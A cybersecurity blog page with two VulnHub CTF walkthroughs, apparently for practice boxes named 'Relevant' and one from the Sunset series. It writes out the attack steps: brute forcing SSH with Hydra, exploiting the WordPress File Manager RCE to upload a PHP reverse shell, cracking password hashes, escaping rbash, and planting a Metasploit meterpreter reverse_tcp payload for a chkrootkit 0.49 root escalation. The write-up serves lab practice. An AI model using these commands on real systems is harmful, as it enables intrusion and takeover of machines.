pspy – Bootlesshacker's Cybersecurity Blog

It’s been a while since I’ve done a CTF from VulnHub. Life has been busy but I’ve also been doing a few boxes on Offensive Security Proving Grounds. I’ve cancelled my subscription for now though as I still think it needs a bit of work unfortunately before it fully competes with Hack The Box or Try Hack Me, but I’ll give it another go in the future.

Anyway, here is my experience rooting the Relevant CTF.

Initial Enumeration

I started off with an NMAP scan. This identified two open ports.

nmap -p- 192.168.56.102

The open ports were SSH (22), and HTTP (80).

I figured the web server running on port 80 was probably more interesting than the SSH server, so I loaded up my browser and visited the main page.

This showed a database connection error with a message indicating that the website had been compromised already. As you can see, there were three links. I visited the first link, and was directed to a YouTube video which was a cover for “Never Gonna Give You Up” by Rick Astley. Two minutes into the CTF challenge and I’ve already been Rickrolled. Thanks for that.

Never Gonna Give you Up – By Rick Astley (a cappella cover)

After being rickrolled, I visited the second link which appeared to be a dump of credentials on PasteBin.

I saved the users from this dump into /tmp/users.txt, and the passwords in /tmp/passwd.txt. Given we know the SSH service is running on port 22, I decided to use Hydra to brute force SSH.

hydra -l /tmp/users.txt -p /tmp/passwd.txt ssh://192.168.56.102

Unfortunately, this returned no valid SSH credentials.

I moved onto the final link, which appeared to be a QR code.

I found a website where you can decode QR codes. This showed that the raw text contained within the QR code started with “otpauth://”.

I recognised this prefix – this is a One Time Passcode key used to generate one time passcodes. You can therefore scan this QR code using an app such as Google Authenticator which will then generate a one time passcode every 30 seconds or so. I didn’t know what I needed this OTP key for, but kept it for reference in case I needed it further into the CTF challenge.

GoBuster

As mentioned in one of my previous CTF walk-through articles, I’ve created my own script (called OTT) which rather simply runs GoBuster commands against a set of wordlists. This saves me time writing out the GoBuster commands and checks against various wordlists saving a lot of time. To run the command below, you will need to download the OTT script or instead use GoBuster.

ott http://192.168.56.102/ 50

This revealed a few directories such as wp-admin and wp-content revealing this is probably a WordPress website. We know we can use a tool called WPScan to check for vulnerable WordPress versions, plugins, and themes. I suspected that I may run into challenges with this given the front page of the website is showing a database connection error.

wpscan --url http://192.168.56.102 -e at,ap,u --api-token REDACTED

I ran this command which immediately halted the scan as it did not detect a WordPress installation. I suspected this may be due to the database being offline or the modified front page.

A quick check of the man pages for wpscan (man wpscan) identified you can use the –force option to skip wpscan checking whether we are targeting a WordPress website or not. I appended this option to the command, and the scan started running. It identified the WordPress version quite quickly and started scanning for themes and plugins, but it did not find anything vulnerable.

I noticed that WPScan only appeared to be using ‘passive methods’ for plugin enumeration, even though ‘themes’ were being scanned aggressively. I looked at the man pages for WPScan again and worked out that you can add an option to your command to scan plugins aggressively (–plugins-detection aggressive). I added this option to my command and ran it again; after letting the scan run for some time, it identified a vulnerable plugin called File Manager. The vulnerability type was Remote Code Execution.

I recall seeing about this vulnerability in recent news. It’s a very popular WordPress plugin so it gained a lot of attention when this vulnerability was identified.

I visited the first URL WPScan suggested for information.

https://wpvulndb.com/vulnerabilities/10389

This page had a proof of concept script. It appears the script uploads a file called ‘payload.php’ to the web server. I therefore downloaded the Pentestmonkey PHP Reverse Shell and renamed it to payload.php to upload my own payload.

python3 2020-wp-file-manager-v67.py http://192.168.56.102/

I executed the script which uploaded the file successfully.

The file path it gave me though returned a 404 error, so I had to do a bit of digging to find out where the files were actually saved. The correct path is /wp-content/plugins/wp-file-manager/lib/files/payload.php.

I span up my listener using Netcat, visited the payload.php file, and had a shell. As always, I spawned a tty shell using python.

python3.8 -c 'import pty; pty.spawn("/bin/bash")'

We have a shell

Now I had a shell, I needed to work out how to escalate my privileges. Sometimes, you can escalate directly to root. Other times, you have to pivot to another user on the system before being able to get root access.

At this stage, I didn’t know what I would need to escalate my privileges. I started to run a few basic checks.

Sudo commands (sudo -l) – this revealed no commands I could run
SUID Checks (find / -perm -u=s -type f 2>/dev/null) – this revealed no interesting binaries with the SUID bit set.
Loading pspy on the system to check if any cron jobs were running

These checks revealed nothing of use, so I proceeded to check /etc/passwd and review the /home directory to see what users were on the system.

The home directory showed a few user folders. I had a look around each one. I observed two things:

The ‘patsy’ user had a file called .google_authenticator – this was interesting given we already had a key for generating OTP’s. Perhaps we need to pivot to this user?
The ‘relevant’ user had a file called .sudo_as_admin_successful – could this indicate this user has sudo access? Perhaps this was the user we needed to pivot to?

I needed to find a way to pivot to one of these users. I decided to check for files the three users owned to see if that could assist me with the pivoting.

find / -user h4x0r

This identified something of interest which I didn’t spot when enumerating this user folder initially.

Can you spot it? The user has a file called ‘note.txt’ which seems to be well hidden.

I output the file using my shell, which showed a user and password hash. I didn’t spot the ‘news’ user in my initial checks but I double checked the passwd file on the system and confirmed the user ‘news’ did indeed exist.

I input the hash into https://crackstation.net/ which revealed the password. I was then able to switch user using the su command and the newly unhashed password.

Getting root

Once I successfully switched to the ‘news’ user, I decided to run a few standard checks again. I started by checking which commands the user could run using sudo (sudo -l).

This revealed /usr/bin/node.

I’ve not seen this binary before, but a quick check of GTFOBins revealed I could run a simple command to escalate to root.

sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'

I ran this command, which elevated my permissions straight to the root user.

I enjoyed this CTF – I didn’t find it too challenging but it was fun to see a few different things I haven’t come across before. Thanks to @iamv1nc3nt for the CTF!

By the way, I didn’t end up using the One Time Passcode, which makes me wonder if this box has alternative routes? Who knows…

This is another great box from the Sunset series on VulnHub. If you haven’t done any from the Sunset series, I seriously recommend them – they are definitely some of my favorites. A huge thank you to whitecr0wz for creating these CTF exercises.

Scan – NMAP

The NMAP scan returned there were two open ports on this machine.

nmap -p- 192.168.56.125

As we can see, SSH and HTTP are both open.

Enumerating the website

I loaded up Firefox and visited the website initially. The website was just a directory listing which displayed one file (save.zip).

I downloaded this file and attempted to unzip it within my Terminal.

unzip save.zip

This showed the zip file had a password on it. I attempted to guess the password which unsurprisingly showed it was incorrect. It does show you the names of the files contained within the zip file though; I could see it contained a passwd and shadow file, among other things.

Cracking password protected ZIP file

You can perform a dictionary attack against password protected zip files using John the Ripper. First, we need to extract the hashes into a separate file:

zip2john save.zip > zip.hashes

Once this is done, you can set John the Ripper to try and crack the file.

john zip.hashes

I left this run for a few seconds and it showed the password ‘manuel’.

I tried to unzip the file again, and supplied the password that John provided. This extracted the zip file without any problems and I was able to see all files contained within the zip file.

We know that in Linux, the passwd file contains a list of all users on the system, and the shadow file contains all of their respective hashed passwords.

The passwords in the shadow file are hashed, so on their own, they are not much use. Fortunately, John the Ripper can perform a dictionary attack on these hashes too.

Cracking a shadow file

Similar to the zip file, we first need to prepare a hash file for John.

unshadow passwd shadow > passwords.txt

Once done, we can start the John session.

john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt

As you can see, I’ve chosen to use the RockYou wordlist given it contains millions of common passwords.

I waited a few seconds and the password for one of the users was revealed as ‘server’.

Getting a shell/SSH

The NMAP scan identified SSH was running on port 22, so I tried to login with the username/password that John had cracked. I was able to log straight in, but I identified the user had a limited bash environment (rbash).

You may come across restricted bash environments. It is very unlikely you will be able to progress further without escaping from the restricted environment. There are a number of different techniques to escape restricted bash environments; fortunately there are a few cheat-sheets available online which show a number of different methods to try.

Escaping restricted bash environment

None of the escape methods I could find on readily available cheat sheets were working, so I had to identify my own method for escaping the rbash environment.

Due to the restricted bash environment, there were very few commands I could run. I could run the echo command, but I couldn’t pipe the output into a file. I also couldn’t run any commands containing slashes, which means I couldn’t directly call /bin/bash.

Within the home folder of the user I was logged in as was a binary called ‘honeypot-decoy’. I decided to copy the file to my local computer, and use the strings command to identify what the binary was doing (to a point, at least).

I could see that the binary was calling various other binaries (as per the screenshot). Interestingly, it was calling them explicitly (which inevitably meant slashes were being used). Although we cannot run any commands containing slashes, perhaps the same restriction doesn’t apply to binaries, or potentially simple bash scripts.

On my own machine, I created a file containing “/bin/bash” as the contents.

echo "/bin/bash" > test
chmod +x test

I used the chmod command to make sure the new file I created was able to be executed. I then used SCP to upload the file to the machine, passing the ‘p’ parameter to ensure the file permissions (including the execution privilege) were retained after upload.

scp -p test 296640a3b825115a47b68fc44501c828@192.168.56.125:.

The file was successfully uploaded. I executed the new file, and I had an unrestricted /bin/bash environment.

Privilege Escalation

The next objective is to escalate our privileges. We need to enumerate the server a bit more first, collecting as much information about our environment.

Located within the folder of the user I was logged in as was a folder called ‘SV-502’. Located within this folder was a logs folder, containing one log file (log.txt).

I ran the ‘cat’ command to review the contents of this file.

cat log.txt

From previous experience, I know this to be an output log from pspy. For those of you who do not know, pspy is a very useful tool. It identifies processes running on a linux server, and can identify scheduled jobs being run by other users. This information is often very useful in aiding our effort to escalating our privileges.

From the log file, we can see a previous command which has been executed: tar -xvzf chkrootkit-0.49.tar.gz. Chkrootkit is a bit of software that scans linux servers for rootkits/malicious software.

A quick check on exploit-db reveals that this bit of software (and specifically version 0.49) is vulnerable to a very serious privilege escalation vulnerability. In order to exploit this vulnerability though, the root user needs to be running chkrootkit scans. I therefore decided to load pspy onto the box and run my own pspy scan, identifying any scheduled activity.

This identified a script was being run every minute (/root/script.sh). I did not have read-access to the shell script though, so I was unable to see what it was doing. I therefore assumed it must be running a chkrootkit scan.

As per the advice on exploit-db, I created an executable file in the /tmp directory called update, containing exploit code from meterpreter to gain a shell.

sudo msfconsole
search web_delivery
use 1
set target 1
show payloads
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.56.1
run

The metasploit output a meterpreter payload command which I then put in a file called /tmp/update.

echo "Metasploit command goes here" > /tmp/update
chmod +x /tmp/update

I waited a minute for the shell script to be executed, and absolutely nothing happened. Hmmm!

I enumerated around the box some more, but decided to take a closer look at the ‘honeypot-decoy’ binary. When you run this, it gives you a few different options.

One of the options stood out to me (Launch an AV Scan). I decided to select this option and was presented with a message back to advise the virus scan would be scheduled within the next 5 minutes. Perhaps the root shell script that is run on a cronjob every minute requires the virus scan to be requested from this binary, before it calls chkrootkit.

I waited for another minute, and suddenly my meterpreter session opened, and I had root access.

To enter the meterpreter session, type the following commands:

sessions -i 1
shell

This was a very enjoyable box containing a few different vulnerabilities/techniques. I’m looking forward to the next one within the Sunset series!